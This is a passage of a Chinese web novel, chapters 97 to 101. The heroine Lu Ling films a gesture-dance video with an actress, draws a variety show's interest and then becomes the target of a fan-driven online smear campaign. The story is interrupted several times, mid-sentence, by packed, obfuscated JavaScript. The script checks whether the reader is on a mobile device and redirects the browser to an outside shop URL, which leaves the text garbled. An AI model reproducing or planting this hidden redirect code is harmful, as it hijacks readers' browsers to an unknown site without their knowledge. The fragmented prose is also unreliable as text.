外来人员也只是,来拍摄综艺的团队。 莫非是他们其中之一? 不然就没有其他原因了。 那是谁呢? 就在她盯着婚书发呆,满心疑惑,自己楼梯口传来轻快的脚步声。紧接着,余锦诗的声音在门口响起,“小五,洗好澡没?王婶刚送了摘下来的新鲜桃子,快来...” 话音未落,余锦诗敲了敲房门。 鹿翎还是盯着婚书发呆,余锦诗不解,推开房门,一眼就看见蹲在行李箱边的鹿翎,还有她面前敞开的木盒。 余锦诗脚步一顿,快步走到她面前,目光落在上面,满脸疑惑地弯下腰,拿起来看,“这是什么呀?怎么这么像...” 话说到一半,剩下的被她梗在喉咙里。 下意识去看,蹲在地上的鹿翎。 对上鹿翎怨怼的视线,她心虚地别过眼,放下婚书,脚步一寸一寸向后移,“那什么...我先走了,你慢慢收拾。” 还没等鹿翎说话,余锦诗像是脚底抹了油般,飞快跑了。 鹿翎有些无奈,继续看着婚书发呆。 关键是外来人员这么多,她该怎么找自己的第三个联姻对象? 一个一个去问吗? 感觉别人会骂她神经病。 那只能是揣着婚书,一个个去接近,谁靠近婚书发亮的,她的第三个联姻对象就是谁的。 感觉也挺神经病的。 别人在工作,你巴巴地凑上去,还是一个一个人地凑上去看。 别人不骂你神经病,那骂谁? 鹿翎看着婚书直叹气。 只能走一步看一步了。 她挺无奈的。 等到中午吃完饭后,下午没什么事,余锦诗就躺床睡午觉。 鹿翎还好,她一般没有睡午觉的习惯,她要上山,去青云观。 鹿翎换了一身轻便的素色布衣,袖口利落地挽起,又找了个干净的竹篮,里面专门是特意准备的杂粮碎末。 她要上山,不仅是打扫卫生,还要去给未明子喂养他的鸡鸭,还有他在深山捡的小动物。 山里虽然有虫蚂、草籽足够鸡鸭觅食,但还有那些小动物,偶尔填些杂粮,也能让那些小家伙更加亲人。 她锁好院门,径直朝着天恒山方向走去,心里盘算着先去道观后院收拾粪便,再把殿内神像、供台细细擦拭一遍。 未明子云游在外,这些事就落到他徒弟头上的。 刚出院门,就看见节目组驻地正在拍摄拍摄,耳边传来清晰的说话声,还夹杂着拍摄设备运转的电流。 鹿翎抬眼看去,只见马路边的空地上架着好几台拍摄摄像机,镜头正对着先来的三个特邀嘉宾。 还有导演和一众工作人员围在旁边。 上午那名气质沉稳、穿着黑色休闲装的男人站在镜头前,脸上没有表情地和观众打招呼。 鹿翎收回视线,回想起早上余锦诗对她说的话。 看来妈妈人还没老,眼神倒是变老了。 这人怎么会像大哥? 大哥就算是做这个,但也不会面无表情地对待粉丝和观众。 旁边就是那位温婉艳丽的女嘉宾,正笑着介绍天恒村的田园风光。 年轻男嘉宾则活力满满,时不时指着路边的花草跟观众互动。 旁边还站着几位村民,因为村民要求,不露脸,打算后期给他们加上表情包。 打完招呼后,三位嘉宾正要下田,准备抽水灌溉晚稻,村民在旁边教他们该怎么做。 几人正好和鹿翎撞个正着。 镜头下意识地扫就扫到了鹿翎身上,他一身简单布衣,身姿高挑,周身没了往日的冷冽,反倒多了几分烟火气。 手里拎着竹篮,眉眼清淡,即便是身处在热闹的拍摄场景里,也依旧自成一派,显得格外干净通透。 工作人员和嘉宾们都认出了她,正是今早母女俩直言,那个男嘉宾不如自家大哥的姑娘。 一时间现场的气氛微微顿了顿,工作人员们的目光不由自主落在她身上,带着几分好奇与探究。 知道那位男嘉宾是谁吗?就说他不如自家大哥。 他可是许羡,在内娱T0级顶流+实力派演员,属于第一梯队断层顶流,被公认为演员天花板。 许羡眉头微不可察地蹙了一下,显然是想起了今天上午的对话,神色淡淡地移开视线。 另一位年轻男嘉宾倒是友好地朝鹿翎点了点头,算是打招呼。 只有那位长相艳丽,气质温婉的女嘉宾,唇角笑意更深了,目光饶有兴致地看着鹿翎。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鹿翎蹲下身,将竹篮里剩下的杂粮和提前准备好的肉食一一分放好。 等小动物们都吃得差不多了,鹿翎才起身,拿起一旁的清扫工具,开始打理道观。 第97章:拍摄手势舞视频 山里养的这些鸡鸭,性子都不算野,平时自己在山里找东西吃,不用怎么费心管,只要隔段时间过来把粪便清理干净就行。 鹿翎拿出小铲子和干净簸箕,弯腰仔细打扫后院鸡鸭的粪便,每个角落都没放过。 她可不敢偷懒,不然等未明子回来,又要唠叨她卫生扫不干净,听着就烦人。 把后院彻底清扫干净后,鹿翎又接清水冲了一遍,整个院子立马干干净净、清清爽爽。 收拾完后院的活,她才走进道观正殿。 大殿里香火还在飘,氛围庄重肃穆,几尊道家先贤的塑像立在那儿,四周萦绕着温和的灵气。 鹿翎拿起扫帚,把地上落的灰尘、碎叶子全都扫干净。 扫完地,她从竹篮里拿出干净棉布,打湿拧干,走到供台前,对着神像微微弯腰行礼。 行礼过后,她才仔细擦拭神像上的浮尘。 不管是神像的眉眼、衣服纹路,还是供台边角、木盒的细节,她都擦得仔仔细细,一点灰尘不留。 阳光透过窗户照进大殿,落在鹿翎认真的侧脸上,她整个人看着温润干净,和殿里祥和安静的氛围融在一起,格外安稳肃穆。 擦完最后一处角落,鹿翎松了口气,收好抹布,又给神像上了一炷香,静静站在殿里看着焕然一新的道观。 她手腕上的雷击木镯子,微微透出暖融融的金光,心里满是成就感。 她向来这样,认真做完一件事,看着成果,心里就特别踏实、自豪。 鹿翎在殿里**了一会儿,平复好周身气息,收拾好所有清扫工具,锁上道观大门,慢悠悠往山下走。 下山的路很轻松,不到二十分钟,她就到了村口。 这时候节目组刚好拍完外景,工作人员都在忙着收拾设备,参加节目的嘉宾也歇下来,缓解劳作后的疲惫。 村民把田里的农具都收好了,地面收拾得整整齐齐,摄像机、补光灯这些器材也被陆续搬回车上。 毕竟东西放在户外不安全,村里没监控,万一摔坏、弄丢了,谁都赔不起。虽然收拾起来麻烦,但稳妥又省心,现场人多却不吵闹,井然有序。 许羡靠在大树下闭着眼休息,整个人还是那副冷冷淡淡的、不爱搭理人的样子。 另一边,年轻的男嘉宾正和工作人员说笑聊天,气氛特别轻松热闹。 唯独女嘉宾苏晚,眼神时不时飘向鹿翎刚才上山的方向,心里好像在琢磨什么。 鹿翎下山后,没在意任何人的目光,径直走回了自己家的院子。 刚进门放下手里的竹篮,门外就传来了轻轻的敲门声。 她打开门一看,正是刚才那个节目组的女嘉宾。 苏晚脸上带着温柔的笑,手里拿着手机,往前站了半步,客气又和善地自我介绍:“你好,我叫苏晚,是这次综艺的特邀嘉宾。刚才在村口一直没来得及跟你打招呼,我特意过来一趟,想跟你商量个小事。” 鹿翎神色平淡,直接说道:“有事就说。” “是这样的,我想邀请你一起拍个简单的手势舞短视频,发在抖趣上。”苏晚举了举手里的手机,态度特别诚恳,“既能宣传咱们天恒村的风景,给综艺提前预热,还能帮村子涨点人气。我知道你可能不爱出镜,就几分钟的事,动作特别简单,一点不麻烦。” 鹿翎第一时间就想拒绝。 她本来就不喜欢抛头露面,也不想和节目组这些外来的人牵扯太多,就想安安稳稳待在村里过日子。 但话到嘴边,她突然想起村长之前说的话。天恒村位置太偏,常年没什么人气,冷冷清清的。 要是借着综艺和短视频引流,能让更多人知道这个村子,来看村里的好风景。不仅能给村子带来人气、带动发展,村里的老人和孩子,也能多接触一点外面的新鲜事物。 琢磨了几秒,鹿翎压下心里的拒绝,轻声应道:“可以,我答应你。” 苏晚瞬间喜出望外,连忙说道:“太谢谢你了!这个手势舞真的很简单,我把教学视频发给你,你看几遍就能学会,等你练熟了我们再拍,一点不着急!” 说着她就点开抖趣,准备找视频,随口问了句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鹿翎睁开眼,语气平平淡淡地说:“节目组的苏晚,就是下午来咱们家门口的那个女嘉宾。” 余锦诗随手拉了张凳子坐下,一脸好奇地问:“苏晚?她来找你干啥了?” 她下午睡得太沉,就迷迷糊糊听到有人敲门,压根没看清是谁,更不知道对方来干什么。 “找我拍条抖趣短视频,帮忙宣传一下天恒村。”鹿翎简简单单解释了一句,语气依旧淡淡的。 余锦诗一听,眼睛立马亮了,赶紧说道:“宣传村子可是好事啊!咱们这儿太偏了,早就该让外面的人多了解了解。这姑娘心眼真好,拍视频麻烦不?你可别累着自己。” “不麻烦,就是个简单的手势舞,我已经学会了,等她过来拍就行。”鹿翎应了声。看着妈妈一脸关心的样子,她脸上一贯清冷的眉眼,也悄悄柔和了不少。 “那就好,那就好。”余锦诗笑着点点头,接着就开始絮絮叨叨,说起晚上准备做什么菜,压根没把这事放在心上。 天色慢慢暗了下来,乡下的夜晚褪去了白天的燥热,格外凉快。 苏晚踩着约定的时间,来到了鹿翎家。 这会儿鹿翎一家刚吃完饭,余锦诗想着等会儿鹿翎要拍视频,特意没让她洗碗。 苏晚手里拎着化妆包,身后跟着自己的助理,一进门就笑着说:“鹿翎,要不要简单化个妆?上镜会好看很多,我帮你弄,很快就好。” 鹿翎正坐在院子的秋千上,手指轻轻蹭着手腕上的镯子,闻言抬眼看她,毫不犹豫地拒绝:“不用。” 她向来不爱往脸上涂各种东西,总觉得糊在脸上黏糊糊的,特别不舒服,素颜就足够了。 而且本来就是帮村里做宣传,根本没必要搞这些多余的花样。 也因为她不爱打扮,余锦诗平时总念叨她,说小姑娘家家的,太不爱收拾自己了。 苏晚见她态度坚定,也不勉强。 她早就看出来鹿翎性子冷淡,当即收起化妆包,拿出手机调好拍摄角度:“行,那咱们就素颜拍!你素颜状态超好,看着特别好看。” “动作你都记熟了吧?咱们放松点拍,一遍能过最好,不行就多拍几次,没关系的。” 鹿翎站起身站好,身形挺拔高挑,身上自带一股干净淡然的气质,淡淡应道:“可以。” 拍摄过程特别顺利。鹿翎脑子灵光,所有动作记得一丝不差,身姿舒展自然,抬手、回头的一举一动,又温柔又端正。 这是常年待在道观里,被山间灵气熏陶出来的样子,干净纯粹,不染一点俗气。 短短两分钟,一遍就拍完了。 苏晚盯着手机里的成片,满眼都是惊艳。视频里的鹿翎没施一点粉黛,眉眼清清爽爽,气质干净脱俗。 古朴的农家院落、满眼翠绿的草木,搭配着新式的小洋楼,背景安逸又治愈,再配上轻快的手势舞,反差感特别足,看着让人心里格外舒服。 “拍得也太好了!”苏晚忍不住夸赞,拿着手机征求鹿翎的意见,“我现在就把这条视频发抖趣,可以艾特一下你的账号吗?” 鹿翎低头想了想。 她不想太高调,也不想被网上的人和事打扰,干脆摇了摇头:“不用了。” 苏晚秒懂她的意思,很爽快地答应:“好,听你的。” 说完,苏晚直接用自己的抖趣账号发布了这条视频。 配文简简单单:偶遇天恒村宝藏小姐姐,一起为美丽乡村打call~ 她全程没提鹿翎的名字和身份,也遵照鹿翎的要求,没有艾特任何人。 “那我先回去啦,今天太谢谢你了!”苏晚朝鹿翎挥挥手。 鹿翎轻轻点头回应。 送走苏晚,鹿翎回到院里关好房门,准备收拾洗漱。 另一边,苏晚回到节目组租住的房子后,看着手机里疯涨的点赞和评论,忍不住浅浅勾了勾唇。 苏晚本来就是娱乐圈顶流,国民度高、粉丝基数极大。这条视频发出去才十几分钟,就直接冲上了抖趣热搜。 最先赶来的都是她的粉丝,评论区很快就被刷屏。 【晚晚更新啦!这个乡村风景也太治愈了吧!】 【姐姐状态绝了,还是这么温柔好看!】 【等等!旁边这个小姐姐是谁?颜值也太顶了,素颜杀疯了,气质直接封神!】 没过多久,不少路人网友也被视频里治愈的风景、鹿翎出众的颜值和干净的气质吸引,评论数量飞速上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555009|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涨,视频热度一路飙升。 【这个素颜小姐姐太惊艳了!清冷氛围感直接拉满,看着又干净又舒服!】 【这就是姐姐录综艺的村子吗?风景也太美了,青山绿水的!】 之前苏晚就发过天恒村的风景视频,粉丝都清楚她现在的拍摄地点。 【小姐姐气质真好,真有种不食人间烟火的干净感,眼神太纯粹了!】 【求求小姐姐的社交账号!这颜值我直接粉了,想关注!】 网友的热情越来越高,视频播放量肉眼可见地暴涨,短短半个小时,播放破千万,点赞直接逼近百万。 很多厉害的网友开始顺着视频线索,扒鹿翎的账号。 视频带着天恒山的定位,大家顺着定位翻遍了当地所有相关账号,却始终没找到和鹿翎长相匹配的账号。 一时间,评论区全是求身份、求账号的留言,热度越炒越高。 就在大家毫无头绪的时候,一个眼尖的网友突然想到了办法,点开了苏晚的个人主页。 和其他艺人不一样,苏晚的抖趣关注列表从不隐藏,所有人都能随便看。 这个网友抱着试试看的心态,一条条翻看她的关注列表。 苏晚关注的人不多,大多是圈内合作过的艺人、官方工作室账号,列表一目了然。 很快,一个格格不入的账号吸引了她的注意。 头像是普通的乌龟图片,昵称就叫:天恒村村花。 主页简介空空如也,看着就像个刚注册的新号。 光看这个昵称,大家就能猜到,这肯定就是和苏晚合拍视频的那个女生。 网友瞬间激动了,立马把截图发到原视频评论区,发帖求证。 这条评论刚发出来,就被大量网友看到,所有人一窝蜂点进账号核对,看完IP地址,百分百确定就是本人。 【!!!是她!绝对是这位小姐姐!IP和名字全对上了!】 【救命!终于找到了!晚晚的关注列表也太好找了,还好我没放弃!】 【小姐姐也太佛系了吧!账号一条动态都没有,又神秘又好看,我直接爱了!】 短短几分钟,这个原本零粉丝的素人账号,涌进了海量网友,粉丝数量飞速暴涨。 第99章:找鹿翎拍综艺 对视频里的鹿翎来说,网上这些热闹她一点都不知道。 这天她正跟妈妈余锦诗一起吃饭,放桌边的手机一直在震个不停。 余锦诗看了眼手机,随口问:“谁老给你发消息啊?” 鹿翎皱了下眉,随手拿起来扫了一眼:“没什么。” 屏幕上全是密密麻麻的消息,点赞红点一直在跳,私信99+一条接一条往外蹦,消息提示响个不停,手机震得都有点发烫了。 她本来就不怎么用社交软件,平时除了跟家里人聊几句,手机对她来说跟块砖头没区别,压根没把这不停的震动当回事。 余锦诗也没多问,只叮嘱了一句:“要是骚扰信息就别管了,赶紧吃饭。” 母女俩接着吃饭,谁都没把手机的异常放在心上。 可这时候,抖趣平台早就因为那条手势舞视频彻底炸锅了。 鹿翎那个叫“天恒村村花”的账号,粉丝从零开始疯涨,短短一个小时就破了五十万。 她自己一条视频都没发,私信箱却被网友彻底塞满了,全是苏晚的粉丝跑过来留言。 有人夸她长得好看、气质绝,有人追着问天恒村在哪,还有人不停点戳一戳,催她赶紧更新视频。 另一边的苏晚,看着后台蹭蹭往上涨的数据,嘴角越扬越高。 她本来只是借着合拍视频的由头,给新综艺预热一下,顺便拉近和鹿翎的关系,压根没料到效果会这么炸裂,这个素人姑娘带来的热度,远远超出了她的预想。 她直接把视频转发到了自己抖趣置顶的大号上。 【苏晚】:怎么样?这个视频拍得好看吗? 发完她就把手机放一边了,本来以为对方不会秒回,结果消息刚发出去一秒,就显示已读。 【......】:挺好看的。 【苏晚】:那你觉得是我好看,还是她好看?还是我俩都好看? 【......】:。。。都好看。 苏晚看完没再回消息,嘴角却忍不住弯起来。明知道对方是敷衍,她心里还是美滋滋的。 与此同时,《秋播时光》的节目组导演,早在视频冲上热搜的时候就盯上了鹿翎。 导演拿着手机反复看视频里的鹿翎,眼睛都亮了。 他知道鹿翎就是本地人,但镜头里的她气质清冷、长相出众,素颜状态比娱乐圈不少女明星都能打。 这种又清冷又舒服的氛围感,正是现在观众最喜欢的人设。 再加上天恒村原生态的好风景,要是能把鹿翎拉来上综艺,哪怕只是当个客串,这期节目的播放量绝对稳了。 导演一刻都等不住,立刻带着副导演往鹿翎家赶,直接上门敲门。 鹿翎和余锦诗正在院子里乘凉,听见敲门声,鹿翎起身去开门,看到导演和副导演站在门口,眉头一下皱了起来。 副导演也不绕弯子,开门见山,语气特别诚恳:“鹿翎小姐,我们是《秋播时光》节目组的,你见过我们,应该还有印象。” 鹿翎靠在门框上,脸上没什么表情,微微抬了抬下巴:“有事?” “我们刚看了你和苏晚影后合拍的视频,效果特别好,我们真心想邀请你上综艺,常驻嘉宾还是客串都好说,条件你随便提,绝对不会亏待你。” 鹿翎挑了下眉,语气平平淡淡,直接拒绝:“没兴趣,不拍。” 她已经见识过,一条视频就让自己账号被网友冲爆的样子,真要是上了综艺,后果不敢想。 导演早就料到会被拒绝,毕竟从视频里就能看出来,鹿翎性子冷淡,根本不在乎名利,连忙接着劝:“鹿翎小姐你放心,我们节目组特别正规,拍摄也很轻松。” “就是拍拍乡村日常,不耽误你多少时间,还能帮着宣传天恒村,让更多人知道咱们村子,带动村里发展啊。” “宣传村子,一条视频就够了。”鹿翎抬眼看他,眼神冷得很,“我不会上镜拍综艺,你们不用再劝了。” 眼看导演还要继续游说,鹿翎脑子里突然闪过那张被她压在箱底的婚书。 她隐约猜到,自己的第三个联姻对象,说不定就在节目组里。 要是去节目组,她随时能拿出婚书测试,谁靠近她、婚书发亮,谁就是目标。 沉默了几秒,鹿翎松了口,语气依旧平淡:“让我上镜不可能。你们要是实在需要,我可以偶尔帮你们做村落解说,讲讲天恒村的风土人情和山水故事,仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555010|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此而已。” 她只愿意做幕后配音,不上镜,既能躲开镜头,也算给了节目组面子,不至于把关系闹僵。 导演一听,虽然没能让鹿翎出镜,但能请到这位自带超高热度的姑娘做解说,已经是意外之喜! 有她的声音搭配天恒村的美景,综艺热度只会更高。 他立刻点头答应:“行行行!完全没问题!鹿翎小姐愿意帮忙,我们就很感激了,全都听你的安排!” 生怕鹿翎下一秒反悔,导演没再多客套,带着副导演满心欢喜地离开了。 看着两人走远的背影,鹿翎眼底沉了沉。 既然因为婚书的事,注定要被外界注意,那就顺着来好了。只要不触碰她的底线,这点小事,她无所谓。 屋里的余锦诗把外面的对话听得差不多,走出来笑着说:“能帮村里做宣传也是好事,你自己开心就好。” 鹿翎转头看向母亲,眉眼间的冷意淡了不少,轻轻点了点头,院子又恢复了安静。 —— 导演和副导演脚步轻快地离开鹿翎家,脸上全是藏不住的笑意。 副导演忍不住感慨:“本来以为要磨好久,没想到这么快就谈成了。” 导演连连点头:“这姑娘气质和底蕴都摆在那,一看就不是普通的乡下姑娘。赶紧回去干活,先把解说脚本的框架定下来。” 两人边走边商量后续安排,急匆匆赶回节目组住的小洋楼。 —— 另一边,抖趣上的热度还在疯狂飙升。 苏晚和鹿翎合拍的手势舞视频,稳稳拿下同城热搜第一,直接冲进全国热搜前列。 #天恒村清冷素人颜值#、#苏晚乡村偶遇神仙路人#两个词条一路狂飙,评论区直接被挤爆。 “天呐,这小姐姐氛围感绝了,素颜也太好看了吧!” “清冷长相太戳我了,气质吊打一堆网红!” “苏影后跟她同框,气场居然一点都没压住,俩人都好好看!” “听说《秋播时光》正在村里拍,会不会邀请小姐姐上综艺?蹲一个!” 全网讨论度居高不下的时候,一条剪辑片段悄悄在抖趣、微博等平台传开,瞬间扭转了评论区的风向。 第100章:被网暴了 发布者正是林子轩的死忠粉丝,特意截取了昨天鹿翎在天恒山脚下,冷言呵斥林子轩,最后冷声吐出一个“滚”字的画面。 刻意掐头去尾,剪掉林子轩追拍、无视村长的警告、妄图蹭热度跟风上山的原因,只留下鹿翎态度强硬,言语凌厉的片段。 配文更是带着极强的引导性:“从没见过这么没教养的素人,我家子轩好心上前搭话关心,礼貌待人,换来的却是当众被冷眼呵斥,还直白骂滚?真把自己当高人一等了?” 片段一经发出,瞬间被林子轩的粉丝疯狂转发扩散,路人也被片面的剪辑带偏了观感。 原本和谐的评论区立刻**成两派,大批林子轩粉丝蜂拥涌入,对着鹿翎大肆发难,戾气十足。 “长得好看又怎样?人品和教养完全配不上这张脸!” “子轩好心担心她独自上山有危险,好心没好报,凭什么这么嚣张?” “一个村里普通素人而已,架子摆得比顶流明星还大,谁给她的底气?” “没礼貌、目中无人,一点都不懂尊重人,颜值再高也洗白不了骨子里的傲慢。” “人家主动友好打招呼,不搭理也就算了,何必出言伤人,未免太过刻薄。” “果然人不可貌相,看着清冷仙气,性格居然这么跋扈蛮横。” “果然是乡下人,性格就是这样,恶心**。” 粉丝们抱团控评,句句都站在林子轩的角度。 把他塑造成温柔善良、热心助人却无故受委屈的一方。 反倒将鹿翎塑造成恃颜骄纵、目中无人、不懂礼数的傲慢之人。 不少不明真相的路人被剪辑片段和带节奏文案误导,也跟着跟风附和,加入吐槽行列。 一时间,原本全网夸赞鹿翎颜值气质的风向陡然逆转,抹黑与指责的声音此起彼伏。 有人直言鹿翎太过冷漠自私,不近人情。 有人嘲讽她不过是仗着几分长相就故作清高,端着生人勿近的架子。 更有极端粉丝直言鹿翎根本不配拥有这么高的关注度,不配和苏晚同框拍视频。 在这群粉丝眼里,自家偶像温和谦逊、懂得分寸,却平白无故被一个乡下素人当众落面子、言语呵斥,简直难以容忍。 短短半个小时,#素人鹿翎当众呵斥一人林子轩# #鹿翎没教养#等词条如同脱缰班的野狗般,蹭蹭蹭往上涨。 热度一路狂飙,短短一个小时就登顶热搜榜第一,词条后面紧跟着“热”字。 平台算法不断推送,越来越多的网友点进片段围观,**彻底失控。 林子轩的后援会、粉丝纷纷下场,组织粉丝大规模控评,刷热度。 带着恶意的词条被反复刷高,各路营销号也闻着流量赶来,添油加醋转述事件,刻意放大鹿翎的态度。 不管是粉丝,还是营销号,他们对事情起因只字不提,彻底坐实鹿翎“傲慢无礼”的标签。 原本因为手势舞视频对鹿翎抱有好感的路人,在铺天盖地的负面**里逐渐动摇。 本就不是很多的维护声音,很快被林子轩粉丝的谩骂淹没,评论区里全是针对鹿翎的人身攻击。 从人格教养上升到长相出身,戾气重得让人窒息。 就连拉着鹿翎拍手势舞的苏晚苏影后,也被迫牵扯进去。 但苏晚的粉丝基础本就强悍,加上从她出道到现在在圈内零绯闻,在路人原野口碑极佳。 即使被无辜牵连,网友也大多只是惋惜她选错了人,鲜有恶意指责的声音。 有也是她的黑粉。 所有的炮火,全都精准的砸在了鹿翎身上。 抖趣、微博各大社交平台,但凡是有鹿翎手势舞的视频,全都是林子轩粉丝的谩骂和路人的质疑。 之前夸她清冷仙气,气质脱俗的评论,被一条条恶意评论淹没。 甚至还有林子轩的极端粉丝扒出天恒村的地址,扬言要去村里找鹿翎要个说法。 言语间的偏激让人不寒而栗。 —— 苏晚房间里,她的经纪人看着持续发酵的**,眉头紧锁,“晚晚,要不你发个声明撇清关系吧,现在网友全都盯着鹿翎,再牵扯下去,难保不会影响你的口碑。” 苏晚正坐在床头,指尖反复的划过那段视频。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555011|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不知道这个视频是否剪辑过,但从自己第一面见鹿翎后,就觉得鹿翎不是这种人。 听到经纪人说完后,眼神冷了几分,语气坚定的回绝,“不可能,我不是会落井下石的人。” 而她的助理也站在旁边,刷着网上愈演愈烈的言论,脸色也越来越差,“晚晚姐,这可怎么办啊?” 苏晚没说话,当即拿出自己的手机,点开抖趣,找到鹿翎的账号,想要发消息跟她解释。 可编辑好的消息发出去,等了三分钟,消息聊天框都没显示已读。 苏晚握着手机,心里越想越难受,起身就想出门去找鹿翎,但被助理喊住。 “晚晚姐,现在这么晚了就不要出去了吧,万一她睡了呢,我们等明天结束拍摄后再去找她。”助理拉住苏晚。 苏晚脚步顿在原地,指尖紧紧攥着手机,满心都是歉意与无奈。 最终她还是轻声叹口气,“算了,你说的也对,现在贸然过去也不合适,等明天结束拍摄后,我就去找她,不管怎么样,这件事我得给她一个交代。” 洗漱完后,躺在床上,却毫无睡意。 脑子里反复想着网上的**,满心都是忐忑。 她知道网暴对一个艺人造成的后果是有多么严重的。 更别说像她一个素人了。 只希望这场**风波,鹿翎没有看见,不会对她造成太大的影响。 —— 而这场热搜的另一个主人公,正躺在自己的房间,翻看网上一边倒的**谩骂,嘴角缓缓勾起一抹阴冷得意的笑意。 他本就记恨鹿翎昨天毫不留情的呵斥,还是当着他粉丝的面,一点不给他留脸面。 还说了自己是常驻嘉宾,一点面子都不给他留。 如今粉丝自发替他打抱不平,把鹿翎推上风口浪尖,正中他的下怀。 让她不给自己脸,现在知道后果了吧? —— 鹿翎这边,她对网上铺天盖地的谩骂全然没有察觉。 向来她就不沉迷社交软件,从吃饭的时候,反复响起的手机铃声就能看出。 但鹿翎不在乎,并不代表余锦诗不在乎。 第101章:不能得罪 她可是鹿家的护女狂魔。 一点开微博,就看见热搜榜上大大的“热”字,前面就是恶意词条和谩骂。 余锦诗一条条翻看刻薄刺眼的评论,断章取义地剪辑视频,不堪入耳的人身攻击。 看得自己血压飙升,脸色瞬间沉下来,心底对鹿翎那是又气又疼。 自家女儿性子清冷通透,待人向来有分寸,从来不会无故为难旁人。 她不用猜就想到,肯定是那林子轩不知规矩,硬要纠缠上山,反倒被粉丝颠倒黑白,肆意抹黑,把脏水全泼到鹿翎身上。 余锦诗越看越窝火,满心都是替女儿打抱不平的怒意。 她现在在卧室,没有去找鹿翎问,到底发生了什么事,而是推开窗户,小心翼翼伸出头看鹿翎还在外面吗。 就看见鹿翎还没有进屋,坐在秋千上,抬头看月亮,不知道在想些什么。 眼见鹿翎并不知道网上发生了什么,她松了口气。 视线重新回到满是恶意的词条上。 截了个图,把几条带节奏最离谱、抹黑得最过分的博主主页一一保存,挨个转发到自己微信里。 随后,她点开置顶中其中一个微信联系人里,把这些恶意言论的链接,还有刚刚截的图,一股脑全部发过去。 不管对方看没看见,也不解释自己为什么发这么多链接,只慢悠悠发出一个标准的微笑表情包JPG. 【京圈大小姐】:微笑.JPG 发完后,不等对方回,就退出消息。 这件事绝对不能算的,恶意抹黑造谣,是要付出代价的。 —— 导演组这边,气氛凝重。 副导演盯着手机屏幕上,一路狂飙的热搜热度,眉头拧成一团,“你看看这事闹的!本来请了苏晚和许羡就自带流量,偏偏半路冒出个鹿翎,现在闹出这么大的**风波,全网都是骂她没教养。 他顿了顿,“依我看,明天就别让她来了,现在全网都在抵制她,万一因为她影响节目口碑,那就得不偿失了。” 在场的几个工作人员也纷纷附和。 都觉得现在鹿翎深陷负面**,节目组避嫌才是最稳妥的选择,没必要为了一个还没签合同的素人顶着全网非议,硬抗。 几人商议完后,纷纷看着导演,等着他回话。 导演什么都没说,只是看着一路暴涨的词条热度,眼底闪过一丝精明。 他沉吟片刻,缓缓开口,语气笃定:“急什么?你们只看到她被骂,没看见这破天的流量吗?” 众人皆是一愣,齐刷刷看向导演。 导演放下手机,目光扫过众人,条理清楚地分析,“自从鹿翎跟苏晚拍了视频,本身就自带颜值热度,现在又因为和林子轩的事,闹得全网皆知,黑红也是红!” “而且,咱们节目本来就是乡村实景综艺,有鹿翎在,自带话题度和争议度,能锁住网友的关注度,现在全网都在盯着她,只要她明天准时来录制,那节目首播热度不就来了吗?” 副导演还是顾虑重重:“可网上全是骂声啊,观众要是抵触她,连带抵制节目怎么办?” “抵触?看热闹的永远比较真的多。”总导演摆了摆手,神色胸有成竹,“而且我敢保证这个视频绝对是被剪辑过的。” “当初村长千叮咛万嘱咐,让我们这些人不要靠近天恒山,录音里林子轩不就想和鹿翎一起去吗?结果他被骂了,肯定是咽不下这口气的。” “但他肯定不会自己出面,他的粉丝只会替他出面,所以才会发生今天这个事。” “而且,你们难道还没看清楚吗?整个村子,就连村长都听鹿翎的话,她在天恒村,肯定是有地位的。” “我们照常请鹿翎过来,等后续真相浮出水面,**反转,到时候节目还能跟着蹭一波路人好感,口碑热度双丰收。” 导演信誓旦旦地分析了一波,他的话让看不清局势的人瞬间反应过来。 娱乐圈综艺圈,流量永远是王道。 鹿翎如今深陷**漩涡,却也自带超高话题度,对节目组而言,简直是送上门的热度。 副导演沉默半晌,终究还是被流量说服,松了口:“那行,就听导演的,明天照常联系鹿翎,按原计划请她过来 